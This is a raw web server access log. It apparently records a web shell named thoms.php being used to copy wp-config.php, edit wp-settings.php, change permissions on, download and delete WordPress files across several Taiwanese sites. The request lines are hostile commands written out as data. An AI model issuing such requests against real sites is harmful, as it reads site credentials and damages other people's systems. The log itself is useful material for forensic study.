45.135.193.11 - - [11/Sep/2026:23:43:54 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=cgi-bin HTTP/1.1" 200 11367 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:54 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11503 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:55 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=ba-guo.com.tw HTTP/1.1" 200 11343 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:55 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11422 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:56 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=wp-content HTTP/1.1" 200 11446 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:57 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:57 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=bioway88.com.tw HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:57 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22667 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:57 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=wp-content-20260912023544 HTTP/1.1" 200 11404 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:58 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=betcity.com.tw HTTP/1.1" 200 11495 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:59 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=broadweb.com.tw HTTP/1.1" 200 11497 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:59 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22665 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:00 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=beauty-dental.com.tw HTTP/1.1" 200 11498 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:00 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=bodbooks.com.tw HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:00 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=bogroup.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:00 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=booking-wise2.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:00 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-config.php&p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 200 11369 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-config.php&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:00 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-config.php&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 200 11359 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-config.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:00 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-config.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-config.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:01 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-config.php&p= HTTP/1.1" 200 12365 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-config.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:01 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-config.php&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 11367 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-config.php&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:01 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-config.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-config.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:02 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-config.php&finish=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-config.php&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:02 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-config.php&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 200 11373 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-config.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:02 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 17956 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-config.php&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:02 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-config.php&finish=1&move=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-config.php&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:02 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 17955 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-config.php&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:03 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-config.php&p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 200 11374 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-config.php&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:03 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-config.php&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-config.php&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:03 -0400] "GET /thoms.php?edit=wp-settings.php&env=ace&p=booking-wise2.com.tw HTTP/1.1" 200 22856 "http://163.245.207.76:443/thoms.php?edit=wp-settings.php&env=ace&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:04 -0400] "GET /thoms.php?edit=wp-settings.php&p=booking-wise2.com.tw HTTP/1.1" 200 19245 "http://163.245.207.76:443/thoms.php?edit=wp-settings.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:04 -0400] "GET /thoms.php?edit=locoy.php&p=booking-wise2.com.tw HTTP/1.1" 200 12726 "http://163.245.207.76:443/thoms.php?edit=locoy.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:04 -0400] "GET /thoms.php?edit=locoy.php&env=ace&p=booking-wise2.com.tw HTTP/1.1" 200 16333 "http://163.245.207.76:443/thoms.php?edit=locoy.php&env=ace&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:04 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fthoms.php&finish=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fthoms.php&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:05 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 18118 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fthoms.php&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:05 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fthoms.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fthoms.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:06 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fthoms.php&p= HTTP/1.1" 200 12401 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fthoms.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:06 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fthoms.php&p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 200 11367 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fthoms.php&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:06 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fthoms.php&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 200 11356 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fthoms.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:06 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fthoms.php&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 11354 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fthoms.php&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:07 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fthoms.php&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 200 11371 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fthoms.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:07 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fthoms.php&finish=1&move=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fthoms.php&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:07 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 18119 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fthoms.php&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:07 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fthoms.php&p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 200 11364 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fthoms.php&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:07 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fthoms.php&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fthoms.php&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:08 -0400] "GET /booking-wise2.com.tw/wp-includes/class-requests.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:08 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fthoms.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fthoms.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:09 -0400] "GET /booking-wise2.com.tw/wp-includes/class-snoopy.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:09 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-hook.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:09 -0400] "GET /thoms.php?del=class-wp-matchesmapregex.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=class-wp-matchesmapregex.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:09 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-theme-json-schema.php HTTP/1.1" 200 14574 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-theme-json-schema.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:09 -0400] "GET /thoms.php?chmod=embed-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=embed-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:10 -0400] "GET /booking-wise2.com.tw/wp-includes/class-walker-nav-menu.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:09 -0400] "GET /thoms.php?del=robots-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59428 "http://163.245.207.76:443/thoms.php?del=robots-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:10 -0400] "GET /thoms.php?del=theme.json&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59388 "http://163.245.207.76:443/thoms.php?del=theme.json&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:10 -0400] "GET /thoms.php?del=bookmark-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=bookmark-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:10 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=comment-template.php HTTP/1.1" 200 39107 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=comment-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:10 -0400] "GET /thoms.php?chmod=rest-api.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=rest-api.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:11 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-block-template.php HTTP/1.1" 200 12571 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-block-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:11 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-dependencies.php HTTP/1.1" 200 17030 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-dependencies.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:11 -0400] "GET /thoms.php?chmod=class-wp-view-config-data.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=class-wp-view-config-data.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:11 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=theme-templates.php HTTP/1.1" 200 13627 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=theme-templates.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:11 -0400] "GET /thoms.php?del=default-widgets.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=default-widgets.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:11 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fblocks HTTP/1.1" 200 39723 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fblocks" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:11 -0400] "GET /thoms.php?dl=class-json.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=class-json.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:11 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fcompat.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fcompat.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:11 -0400] "GET /thoms.php?del=class-wp-block-parser-block.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-wp-block-parser-block.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
